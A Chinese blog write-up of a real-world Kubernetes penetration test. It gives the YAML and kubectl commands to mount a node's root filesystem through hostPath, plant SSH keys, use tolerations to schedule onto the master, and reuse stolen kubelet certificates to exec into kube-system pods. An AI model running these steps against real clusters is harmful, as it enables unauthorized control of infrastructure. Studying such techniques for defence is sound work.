K8S云原生渗透实战

实战目标介绍

Kubernetes是一个开源的,用于管理云平台中多个主机上的容器化的应用,Kubernetes的目标是让部署容器化的应用简单并且高效(powerful),Kubernetes提供了应用部署,规划,更新,维护的一种机制。

如今,很多云原生产品,都是在k8s上进行微创新。云上攻防就是研究k8s漏洞。

此次实战渗透某k8s云原生产品,分享经验心得。

普通用户test1

通过信息收集、暴力破解等手段,获取到一个普通用户test1。

登陆test1账号,创建pod容器

点击添加命名空间,添加命名空间:test

部署工作负载,创建工作负载:myapp

进入工作负载:myapp,可以看到pod的ip是10.42.3.65,在node节点192.168.1.9下。

pod容器 安装kubectl

一般情况,容器的环境没有配置任何信息,通过命令ping www.baidu.com,发现没配置dns、没有更新源、没有基本的命令、没有网络工具,更没有kubectl工具。

因此在pod容器里,首先初始化渗透环境。

1、添加配置dns

echo nameserver 8.8.8.8 >> /etc/resolv.conf

echo nameserver 114.114.114.114 >> /etc/resolv.conf

2、更换源

#更换源

cp /etc/apt/sources.list /etc/apt/sources.list.bak

echo > /etc/apt/sources.list

echo deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye main contrib non-free >> /etc/apt/sources.list

echo deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-updates main contrib non-free >> /etc/apt/sources.list

echo deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-backports main contrib non-free >> /etc/apt/sources.list

echo deb https://mirrors.tuna.tsinghua.edu.cn/debian-security bullseye-security main contrib non-free >> /etc/apt/sources.list

3、下载kubectl

wget https://dl.k8s.io/v1.9.11/kubernetes-client-linux-amd64.tar.gz

tar -zxvf kubernetes-client-linux-amd64.tar.gz

cd kubernetes/client/bin

chmod +x kubectl

cp kubernetes/client/bin/kubectl /usr/local/bin/kubectl

攻击,挂载node根目录,获取Node节点权限

通过编辑YAML规则,尝试挂载node的根目录到上面创建的pod。

spec:

containers:

name: myapp

volumeMounts:

  • mountPath: /host

name: host

volumes:

  • hostPath:

path: /

type: Directory

name: host

yaml规则解析:

hostPath中的path,就是被挂着的目录,这里设置为根目录。

volumeMounts中的mountPath,就是在容器的目录位置。

挂载根目录到容器的/host目录下。

挂载后,进入pod容器

可以看到,pod容器ip为:10.42.3.66,node节点ip为:192.168.1.9

挂载成功,在pod容器中读取到node节点内容。

写入ssh私钥,通过pod容器socks5代理,成功登录node节点。

攻击,通过容忍度(tolerations)从node节点横向到master节点

1、查找kubeconfig配置文件位置

在node节点中,执行ps -efw | grep kubeconfig

找到kubeconfig配置文件位置 /etc/kubernetes/ssl/kubecfg-kube-node.yaml

下载安装kubectl,使用kubectl命令获取node节点信息。

通过kubectl命令,确认Master节点的污点(Taint)。

./kubectl --kubeconfig=/etc/kubernetes/ssl/kubecfg-kube-node.yaml describe node

成功获取到master的污点(Taint)信息:

Taints: node-role.kubernetes.io/etcd=true:NoExecute

node-role.kubernetes.io/controlplane=true:NoSchedule

键:node-role.kubernetes.io/etcd 影响:NoExecute

键:node-role.kubernetes.io/controlplane 影响:NoSchedule

在调度容忍,添加对应的键值。

对应的yaml规则如下:

apiVersion: apps/v1

kind: Deployment

spec:

spec:

containers:

  • image: ubuntu/nginx:latest

name: myapp2

volumeMounts:

  • mountPath: /host

name: host

dnsPolicy: ClusterFirst

restartPolicy: Always

schedulerName: default-scheduler

tolerations:

  • effect: NoSchedule

key: node-role.kubernetes.io/controlplane

operator: Exists

  • effect: NoExecute

key: node-role.kubernetes.io/etcd

operator: Exists

volumes:

  • hostPath:

path: /

type: Directory

name: host

可以看到,成功将pod挂到master节点下。

同样,挂载master节点的根目录到pod容器里面。

写入ssh公钥,成功登录master节点。

攻击,从Node节点到获取k8s权限

情景一

1、查找kubeconfig配置文件位置

在node节点中,执行ps -efw | grep kubeconfig

2、找到kubeconfig配置文件位置

/etc/kubernetes/ssl/kubecfg-kube-node.yaml

3、使用kubectl命令 get pods 获取到k8s所有容器信息。

./kubectl --server=https://127.0.0.1:6443 --certificate-authority=/etc/kubernetes/ssl/kube-ca.pem --client-key=/etc/kubernetes/ssl/kube-node-key.pem --client-certificate=/etc/kubernetes/ssl/kube-node.pem get pods --all-namespaces

4、进入任意容器

./kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f --namespace=kube-system --server=https://127.0.0.1:6443 --certificate-authority=ca.crt --client-key=/var/lib/kubelet/pki/kubelet-client-current.pem --client-certificate=/var/lib/kubelet/pki/kubelet-client-current.pem /bin/sh

(ps:忘记截图了,情景二有图)

情景二

1、查找kubeconfig配置文件位置

在node节点中,执行ps -efw | grep kube,找到kubeconfig

cat /etc/kubernetes/kubelet.conf

server: https://172.28.0.201:6443

client-certificate: /var/lib/kubelet/pki/kubelet-client-current.pem

client-key: /var/lib/kubelet/pki/kubelet-client-current.pem

2、搜索ca.crt证书文件

3、使用kubectl命令,获取到所有k8s的所有pods信息

kubectl --server=https://172.28.0.201:6443 --certificate-authority=/etc/kubernetes/pki/ca.crt --client-key=/var/lib/kubelet/pki/kubelet-client-current.pem --client-certificate=/var/lib/kubelet/pki/kubelet-client-current.pem get pods --all-namespaces

172.28.0.7为node节点之一。

4、进入任意容器

示例:使用kubectl命令进入命名空间为kube-system的容器:calico-node-mk79h

命令:

kubectl exec -it calico-node-mk79h --namespace=kube-system --server=https://172.28.0.201:6443 --certificate-authority=/etc/kubernetes/pki/ca.crt --client-key=/var/lib/kubelet/pki/kubelet-client-current.pem --client-certificate=/var/lib/kubelet/pki/kubelet-client-current.pem /bin/sh

成功进入容器calico-node-mk79h

容器的ip:

总结

通过对k8s云原生的实战,深入理解了k8s渗透相关知识。

node节点用户权限管理没有进行严格限制,可以挂载节点根目录。

理解了容忍度(tolerations)、污点(taints)。

master节点通过设置污点(taints),避免pod容器随意调度到master上,而只能调度到node节点。

pod容器通过设置容忍度(tolerations),容忍了master的污点(taints),就可以调度到master节点。

参考

https://www.freebuf.com/vuls/196993.html

https://annevi.cn/2020/12/21/华为云ctf-cloud非预期解之k8s渗透实战/

https://mp.weixin.qq.com/s/iWC-qTy7n7GwrRHMNXsVUA

相关推荐
Juchecar1 小时前
解惑:NumPy 中 ndarray.ndim 到底是什么?
python
用户8356290780511 小时前
Python 删除 Excel 工作表中的空白行列
后端·python
Json_1 小时前
使用python-fastApi框架开发一个学校宿舍管理系统-前后端分离项目
后端·python·fastapi
阿里云云原生5 小时前
不重启、不重写、不停机:SLS 软删除如何实现真正的“无感数据急救”?
云原生
数据智能老司机8 小时前
精通 Python 设计模式——分布式系统模式
python·设计模式·架构
数据智能老司机9 小时前
精通 Python 设计模式——并发与异步模式
python·设计模式·编程语言
数据智能老司机9 小时前
精通 Python 设计模式——测试模式
python·设计模式·架构
数据智能老司机9 小时前
精通 Python 设计模式——性能模式
python·设计模式·架构
c8i9 小时前
drf初步梳理
python·django
每日AI新事件9 小时前
python的异步函数
python